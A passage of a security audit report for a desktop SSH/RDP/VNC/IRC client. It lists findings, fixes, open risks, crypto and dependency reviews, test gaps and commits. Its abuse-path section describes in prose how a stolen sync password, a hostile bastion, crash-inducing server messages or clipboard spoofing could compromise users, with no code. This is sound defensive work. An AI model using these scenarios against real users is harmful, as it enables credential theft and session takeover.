**SEC-032, print jobs.** Unique names created exclusively, at most 4 open; test extended. - **SEC-033, secret read lifetime.** `Vault::get`/`Keychain::get`/`Secrets::get` return `Zeroizing`; `has_sync_password` is cached for 5 s instead of fetching the secret every frame. Still open: egui `TextEdit` buffers and their undo history for the master, export and sync password fields (`settings.rs`, `transfer.rs`, `ssh_keys.rs`, `profile_editor.rs`). - **SEC-034, legacy plaintext secrets.** Migration 009 runs `json_remove`, then VACUUM and a truncating WAL checkpoint; the test checks the raw DB and WAL bytes. - **SEC-035, DB file mode.** `nexus.db` and its WAL/SHM are 0600; `PRAGMA secure_delete=ON`. - **SEC-036, profile ids.** Restricted to `[A-Za-z0-9._-]{1,64}`, so ids can't collide in the `profile::` namespace. - **SEC-037, host validation.** Hosts reject control characters and lengths over 253; jump, destination and bind hosts are validated. - **SEC-038, `--answer`.** It and `NEXUS_ANSWERS` require `--screenshot`. - **SEC-039, toast floods.** Toasts are de-duplicated and capped at 8. - **SEC-040, `~/.ssh` mode.** Created with `create_private_dir` (0700); test asserts the mode. - **SEC-041, PHP array parameters.** `is_string` guards; `nosniff`. - **SEC-042, CI tooling.** - cargo-audit is pinned to 0.22.2, runs with `--deny yanked`, and also audits `fuzz/Cargo.lock`. - Fuzz runs use `-timeout=10`. - Checkouts don't persist credentials. ### Finding ID: SEC-043 – SEC-049 (Low/Info; open) - **SEC-043, `rsa` Marvin (RUSTSEC-2023-0071) via russh.** No fixed release exists. The ignore in `rust/.cargo/audit.toml` carries a dated justification: one signature per user-initiated auth, and Ed25519 is the default. Re-check when `rsa` 0.10 final ships. - **SEC-044, unbounded event channel.** Session output is queued without limit while the UI thread is blocked (for example inside a native file dialog). Fix: per-session byte budget and coalescing in the sink. - **SEC-045, serial lock on the UI thread.** Serial write/break run on the UI thread under the port lock (5 s write timeout, 250 ms break sleep). Fix: a writer thread. - **SEC-046, KDC dialled directly.** The Kerberos KDC is always dialled directly, even when the RDP session goes through a proxy or tunnel. This is documented in the manual. Route it through the same dial, or say so in the UI. - **SEC-047, upstream SVC reassembly.** `ironrdp-svc` `dechunkify` ignores `totalLength`. Report upstream, or vendor-patch it with a cap. - **SEC-048, keychain scope.** Keychain entries are per OS user, so instances with different `--data-dir` share `sync:password`. Accepted for compatibility. - **SEC-049, vault format hardening.** Vault entries have no AAD binding them to their key name, and the export version byte isn't authenticated. Add both at the next format bump. Someone who can write `vault.json` can already edit `nexus.db`, so there is no privilege gain today. ### Finding ID: SEC-050 — Verified absent - **Injection:** SQL injection (every query parameterised; `format!` only interpolates constant column lists); shell injection (the local shell is `argv[0]` only; no `ProxyCommand`/`LocalCommand`/`Include` execution in the ssh-config importer). - **Path traversal:** recordings, key names, SFTP uploads and multi-file downloads, RDP shared folder (canonicalised, component-wise prefix check), print spool names. - **TLS:** certificate verification is never disabled. IRC, GitHub, updater and RD Gateway use webpki roots with hostname checks. RDP's pinning verifier still checks the handshake signatures and compares SHA-256 of the leaf before any credentials are sent. - **Host keys:** checked before authentication on every hop. - **Randomness:** CSPRNG everywhere (`thread_rng`, `OsRng`). - **Crypto choices:** Argon2id (128 MiB, t=3, p=4); AES-256-GCM with fresh random nonces and per-file salts; no MD5/SHA-1 in any security role on the client side (russh keeps `ssh-rsa` only as a last-resort host-key algorithm). - **Constant-time comparisons:** no hand-rolled ones on secrets (only GCM tags). - **Secrets in logs:** no secrets in tracing, the audit log, Diagnostics, or panic output. - **Hardcoded secrets:** none in the history (all hits are vendored upstream test fixtures). - **Unsafe code:** none outside tests (serial PTY test FFI) and the process-hardening syscalls. - **Terminal reply leaks:** alacritty replies (DA, DSR, etc.) carry no user data; title-setting sequences are ignored. - **Fuzzing:** artifact directories are empty (no unresolved crashes). ## 8. Blackhat-Style Abuse Paths 1. **Sync takeover.** Crack or steal the sync password from one machine, write a future-dated profile with a new host and an Insecure host-key policy, and wait for every machine's 10-minute tick. Before this run, saved passwords then went to the attacker forever. Now: timestamps are clipped (SEC-005) and retargeted credentials are forgotten (SEC-006). Still possible: login-script or agent-forwarding changes taking effect on the user's next click (SEC-021). 2. **Hostile bastion.** A user hops through an untrusted jump host with agent forwarding on for the target. The bastion opens agent channels and signs into the user's GitHub. Closed by SEC-008. 3. **One-line kill switches.** A hostile IRC server sends one line (SEC-003); a hostile VNC server sends one rectangle (SEC-002); any SSH server prints one link the user hovers (SEC-001). Each took down every open session. All closed. 4. **Clipboard pivot.** The RDP server reads the clipboard on focus (SEC-007), or an SSH host plants a multi-line clipboard behind a one-line toast (SEC-022) and the user pastes it into another tab without bracketed paste (SEC-010). All three are mitigated. 5. **Supply chain.** A compromised crate's build script in the release job pushes a release asset using the persisted write token. Closed (SEC-017). A compromised download host serving a trojan is open until signing (SEC-018). ## 9. Denial-of-Service and Resource Exhaustion Review Fixed: - VNC inflation and stream starvation (SEC-002, 030); - IRC OSC stripping, line size, joins, CAP (SEC-003, 028); - CA glob (SEC-004); - inline images (SEC-011); - RDP framebuffer, drive reads, print handles (SEC-012, 013, 032); - Telnet amplification and wedging (SEC-015, 029); - keyboard-interactive rounds and timeouts (SEC-025); - toasts (SEC-039). Open: - unbounded event channel (SEC-044); - serial writes on the UI thread (SEC-045); - SVC reassembly upstream (SEC-047); - the terminal find bar recomputes over the whole scrollback on every output chunk while open, and recording seek re-feeds from byte 0 per slider frame (functional; see the next-steps report); - the RAW hex row cache is bounded by count, not bytes. ## 10. Cryptography and Key Management Review - **At rest:** Argon2id v0x13 (m=128 MiB, t=3, p=4) → 32-byte key; AES-256-GCM, random 96-bit nonce per seal; 32-byte salt per vault, per password change, per export and per sync write. - **Wrong-password handling:** a verifier blocks wrong master passwords; vaults without one are refused. - **Master-password change:** atomic (temp file plus rename). - **Harvest-now-decrypt-later:** at-rest formats are symmetric, so the bound is password entropy. The strength meter is heuristic. - **In transit:** - TLS 1.2/1.3 via rustls with the ring provider and webpki roots. TLS 1.2 is kept deliberately for RDP to older Windows and many IRC networks. - SSH via russh 0.64.1 negotiates ML-KEM/X25519 hybrid key exchange first (post-quantum ready), with strict-kex. - RDP certificates are TOFU-pinned by SHA-256 of the leaf, checked before CredSSP. CredSSP binds the server public key. - **Gaps:** unsigned updates (SEC-018); no AAD on vault entries (SEC-049); the `rsa` Marvin advisory (SEC-043). ## 11. Secrets Lifecycle and In-Memory Credential Review - **Acquisition:** prompts use `Zeroizing` buffers. Remaining gap: egui `TextEdit` buffers and undo history on the master/export/sync/passphrase dialogs (SEC-033, open). - **Storage:** keychain first, vault second. The sync password lives in the keychain. Login-script values are the remaining plaintext (SEC-020). - **Use:** secret reads now return `Zeroizing`. The RDP connector `Config` and the gateway target keep plain `String` copies for the session's life (upstream types). - **Propagation:** never logged; not in argv (SEC-038); `NEXUS_ANSWERS` is removed from the environment after reading. - **Destruction:** profile delete purges keychain and vault; retargeted sync/import purges too (SEC-006). - **Dumps:** release builds set `RLIMIT_CORE=0` and `PR_SET_DUMPABLE=0`. There are no heap-dump or debug endpoints (a desktop app). - **Debug logging:** `RUST_LOG=debug` makes upstream IronRDP log NTLM blobs and RDPDR write data. Advise users before they share debug logs. ## 12. Memory and Resource Safety Review - No `unsafe` in first-party non-test code except the documented hardening syscalls and the `remove_var` call made while still single-threaded. - The vendored IronRDP session patches add bounds (`take`, `rect_fits`). - All network parsers have explicit length caps; the gaps found are listed in §9. - Allocation-before-validation was found and fixed in VNC (SEC-002), RDP (SEC-012, 013) and inline images (SEC-011). ## 13. Dependency and Supply-Chain Review - **cargo audit:** 0 vulnerabilities. One allowed warning: `atomic-polyfill` unmaintained, pulled in only for non-host targets via sspi → winscard. The fuzz lockfile is now audited too. - **Lockfile change in this run:** `webbrowser 1.2.4`, added by enabling eframe's own `links` feature. Without it, every "open in browser" was a silent no-op. - **Pre-release crypto crates:** `rsa 0.10.0-rc.18`, `ssh-key 0.7.0-rc.11`, `pkcs1 0.8.0-rc.4`, `picky 7.0.0-rc.25`. - **Duplicates:** 55 duplicated crates; nexus-core itself pins `rand 0.8`, `argon2 0.5`, `aes-gcm 0.10` while the graph has newer lines. Recommend bumping these to collapse the crypto duplicates. - **Vendored crates:** the diffs match `vendor/README.md` exactly. There is no recorded tarball hash or patch file; recommend committing `.patch` files plus upstream sha256 and a CI check. - **Actions:** pinned by SHA and verified. The new `download-artifact` SHA was verified against tag v4.3.0. - **Tags:** not signed (`git tag -v v3.0.1` reports no signature). ## 14. Authentication and Authorisation Review There is no multi-user authorisation model: it's a single-user desktop app. Authentication to remote systems: - **SSH:** password, public key, keyboard-interactive and agent; user certificates are presented automatically; host certificates are checked for type, principal, CA, signature and validity (critical options, serials and KRLs are not checked, matching most clients). - **RDP:** NLA via NTLM or Kerberos (see SEC-019). - **VNC:** DES challenge, inherently weak. The SSH-tunnel warning stays. - **IRC:** SASL PLAIN or NickServ, now TLS/tunnel/loopback only. - **GitHub:** token over HTTPS only; loopback HTTP allowed for testing. Local: the vault master password; the keychain is guarded by the OS. ## 15. Input Validation and Output Encoding Review - Validation runs on create, update, quick connect, both import formats, sync and ssh-config import. It is stricter now (SEC-036, 037). - Remote strings rendered by egui can't inject markup, but control characters were only shown escaped where it matters (paste preview, clipboard toast). - IRC text is stripped of terminal escapes, linearly now. - Recording files are bounded and parsed with serde. ## 16. Frontend HTML/JavaScript Robustness Review Not applicable: there is no HTML or JavaScript. The UI is native egui. Equivalent robustness checks were done instead: - **Panic paths:** SEC-001. - **Event floods:** SEC-039, SEC-044. - **Blocking work on the UI thread:** SEC-011, SEC-015, SEC-045. - **Wedged dialogs:** see the next-steps report. - **Dead feature:** link opening was silently a no-op until the `links` feature was enabled. ## 17. Infrastructure and Deployment Review No servers or containers, except `updates/index.php`: - traversal-safe (whitelist regex); - `header()` rejects CRLF; - output HTML-escaped; - array parameters now handled. The PHP still says "Alchementary Link Downloads" in two places (cosmetic). The macOS app is ad-hoc signed, and the Windows binaries are unsigned (signing deferred). ## 18. Logging, Monitoring, and Error Handling Review - **`nexus.log`:** 0600, rotated at 5 MiB, and contains no credentials or terminal bytes. Debug level pulls in upstream IronRDP detail (§11). - **Audit log:** capped at 10 000 rows with no secret values. A new `secret.forget` entry records SEC-006 purges. - **Swallowed errors worth fixing:** - a failed tombstone write in `delete_profile` means the deletion never propagates; - `Secrets::delete` ignores vault errors; - a `triggers.json` read error silently means "no rules". ## 19. Test Coverage and Security Regression Gaps - **Added in this run:** 13 new regression tests and 4 extended ones; the suite went from 181 to 194 passing (3 ignored). - **Still missing:** - a two-hop agent-forward integration test (SEC-008); - an RDP oversized-desktop test (SEC-012); - an RDPDR read-clamp test (SEC-013); - an RDP clipboard focus test (SEC-007); - migration fixtures from real older schemas (v1, v7); - import strategy tests (skip/overwrite/duplicate, duplicate ids in one batch, caps); - fuzz targets for `.cast` parsing, `known_hosts::parse`, `exportimport::open` and the JSON profile importer; - a VNC fuzz corpus seeded with valid zlib streams. ## 20. Prioritised Remediation Plan - **Immediate:** done in this run; see §6, "Fixed". - **Short term:** - SEC-019 (remember NLA per host and refuse downgrade); - SEC-021 (review or approve security-relevant synced changes); - SEC-033 remainder (zeroize egui password buffers and clear undoers on close); - SEC-044 (event budget). - **Medium term:** - SEC-020 (login-script secrets in the secret store); - SEC-045 (serial writer thread); - SEC-047 (upstream SVC cap); - collapse duplicate crypto crates; - vendored-patch integrity check. - **Long term:** - SEC-018 (sign manifests, binaries and tags, plus build provenance attestations); - per-machine signing of sync records; - SEC-049 (AAD at the next vault format bump). ## 21. False Positives / Needs Manual Verification - **False positive: RD Gateway plus SSH tunnel bypassing the tunnel.** Validation already refuses that combination (`validation.rs`, the `gateway_host` block). Only the KDC direct dial remains (SEC-046). - **Reported as broken, confirmed as such:** "Cmd+click opens links". It didn't open anything because eframe's `links` feature was missing. Fixed alongside SEC-001. - **Needs manual verification:** - keychain behaviour on macOS and Windows for the `Zeroizing` change (API-compatible; not run on those OSes here); - the release workflow's new publish job on the next tag (YAML validated locally; GitHub Actions billing currently blocks all runs on this account); - IRC behaviour on real plaintext networks after SEC-014. - **Severity judgement calls:** SEC-010 depends on the user's shell keybindings; SEC-012 depends on overcommit policy. ## 22. Final Notes Residual risk: - an unsigned update and download channel; - a sync group where any member holding the password can still change how profiles behave; - the opt-in RDP NLA downgrade; - plaintext login-script values. None of the open items allows remote compromise without user interaction or a trusted-peer compromise. Limitations: - no live testing against Windows RDP, RD Gateway, Kerberos, macOS or Windows keychains; - GUI behaviour verified by code review, unit tests and one headless smoke run; - CI could not run on GitHub because of an account billing block. **Commits created** (all gated on fmt, clippy and the workspace tests): | Commit | Scope | |---|---| | `76bd664` | sync timestamps, exclusive temp files, zeroized reads, `~/.ssh` mode, honest wording | | `0bcfe64` | CA glob, per-hop forwarding gates, loopback remote forwards, key-interactive cap, timeouts, per-type host keys, SFTP name | | `00f110f` | VNC inflate cap and pump, Telnet negotiation state and NAWS, socket write timeout and close, non-UTF-8 env | | `d6f8f33` | link hover panic, paste and clipboard spoofing, image budget, toast cap, `links` feature | | `7f3704e` | IRC OSC, line and state caps, no cleartext passwords, TcpConn close race | | `eb8f08a` | RDP clipboard, allocation order, drive read clamp, print jobs | | `13ca82a` | transactional migrations, migration 009, DB modes, `secure_delete`, id and host validation | | `400d11e` | release least privilege, pinned audit, checksums, fuzz timeout, PHP | | `c8ab4d6` | forget credentials on retarget, `--answer` restriction, docs |